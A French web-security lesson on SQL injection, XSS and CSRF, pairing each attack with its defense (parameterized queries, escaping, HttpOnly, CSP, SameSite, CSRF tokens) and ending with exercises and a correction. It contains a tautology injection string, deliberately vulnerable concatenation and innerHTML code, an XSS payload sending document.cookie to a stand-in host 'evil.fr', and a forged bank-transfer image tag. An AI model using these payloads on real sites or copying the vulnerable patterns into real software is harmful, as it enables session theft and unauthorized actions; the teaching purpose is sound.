Les grandes attaques web et leurs remparts
Casser puis réparer les trois attaques canoniques.
Objectifs
À la fin de cette leçon, vous saurez :
- expliquer injection SQL, XSS, CSRF avec un exemple de chaque ;
- relier chaque attaque à sa contre-mesure ;
- pratiquer : casser puis réparer.
🔗 Pour vous rafraîchir la mémoire : sessions serveur et cookies · Pool pg et requêtes paramétrées ($1, $2) · CRUD en SQL
Injection SQL : la donnée qui devient code
// VULNÉRABLE — concaténation
db.query("SELECT * FROM users WHERE nom = '" + nom + "'");
// nom = "x' OR '1'='1" → SELECT ... WHERE nom = 'x' OR '1'='1'
// → TOUS les utilisateurs !
// PROTÉGÉ — requête paramétrée
db.query("SELECT * FROM users WHERE nom = $1", [nom]);
La version paramétrée rend l'attaque impossible par construction : la valeur reste une donnée, jamais interprétée comme du SQL. C'est la règle n°1 appliquée depuis le chapitre 22.
XSS : le script qui s'exécute chez la victime
// VULNÉRABLE : on injecte du HTML brut dans la page
element.innerHTML = commentaireUtilisateur;
// commentaire = "<img src=x onerror='fetch(\"evil.fr?c=\"+document.cookie)'>"
Le script tourne DANS votre page, avec les droits de la victime : vol de cookies (sauf HttpOnly !), actions à son insu. Remparts :
1. textContent / échappement par défaut des frameworks (Angular échappe tout)
2. HttpOnly sur les cookies de session
3. Content-Security-Policy : restreindre d'où viennent les scripts
CSRF : forcer l'action depuis un autre site
Scénario : vous êtes connecté à banque.exemple.fr. Un site malveillant affiche :
<img src="https://banque.exemple.fr/virement?vers=attaquant&montant=1000">
Votre navigateur envoie automatiquement vos cookies avec cette requête cross-site. Remparts :
1. SameSite=Lax/Strict sur les cookies ← ferme le cas principal
2. jeton CSRF dans les formulaires ← vérifié côté serveur
3. exiger POST + confirmation pour les actions sensibles
Notez l'asymétrie : XSS vole l'identité ; CSRF l'utilise sans la connaître.
La table de correspondance
| Attaque | Vecteur | Rempart principal |
|---|---|---|
| Injection SQL | donnée → code SQL | requêtes paramétrées |
| XSS | donnée → HTML/JS exécuté | échappement + HttpOnly + CSP |
| CSRF | cookies envoyés malgré nous | SameSite + jetons CSRF |
Exercice
- Cassez volontairement : écrivez un script avec concaténation SQL, injectez-le, observez. Puis réparez.
- Injectez
<b>salut</b>via innerHTML puis textContent : comparez. - Pourquoi HttpOnly ne protège-t-il pas contre CSRF ? (et pourquoi SameSite oui)
Résumé
- Trois attaques, trois frontières : base, navigateur, requêtes cross-site.
- Paramétrage systématique, échappement par défaut, SameSite : réflexes non négociables.
Correction disponibleCherchez d’abord par vous-même.Voir la correction
Correction
Réponses détaillées
Question 3. Le cookie part quand même vers votre site lors d'une requête forgée : HttpOnly ne concerne que la lecture par JS. SameSite agit au bon niveau — il empêche le NAVIGATEUR d'attacher le cookie à une requête initiée depuis un autre site.